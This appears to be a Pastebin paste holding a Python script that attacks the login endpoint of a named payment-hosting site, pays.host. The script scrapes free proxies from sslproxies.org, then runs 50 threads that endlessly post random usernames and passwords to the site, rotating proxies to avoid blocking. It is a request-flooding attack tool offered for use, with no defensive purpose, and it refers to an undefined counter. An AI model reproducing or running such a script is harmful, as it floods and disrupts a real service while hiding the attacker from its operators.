Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests, random, string, threading
- from colorama import Fore
- from random import choice
- from bs4 import BeautifulSoup
- def gen(length):
- letters = string.ascii_lowercase + string.ascii_lowercase
- return ''.join(random.choice(letters) for i in range(length))
- def proxys():
- try:
- response = requests.get("https://sslproxies.org/")
- soup = BeautifulSoup(response.content, 'html5lib')
- proxy = {'https': choice(list(map(lambda x:x[0]+':'+x[1], list(zip(map(lambda x:x.text,
- soup.findAll('td')[::8]), map(lambda x:x.text, soup.findAll('td')[1::8]))))))}
- return proxy
- except Exception as e:
- pass
- def send():
- while True:
- proxy = proxys()
- try:
- json = {'username': gen(20), 'password': gen(20)}
- r = requests.post('https://pays.host/api/authentication/login', data=json, proxies=proxy)
- print(r.text)
- print(f'[{r.status_code}] {proxy} | {count} Requests Sent')
- except Exception as e:
- pass
- thread_list = []
- for i in range(50):
- t = threading.Thread(target=send)
- thread_list.append(t)
- for thread in thread_list:
- thread.start()
- for thread in thread_list:
- thread.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement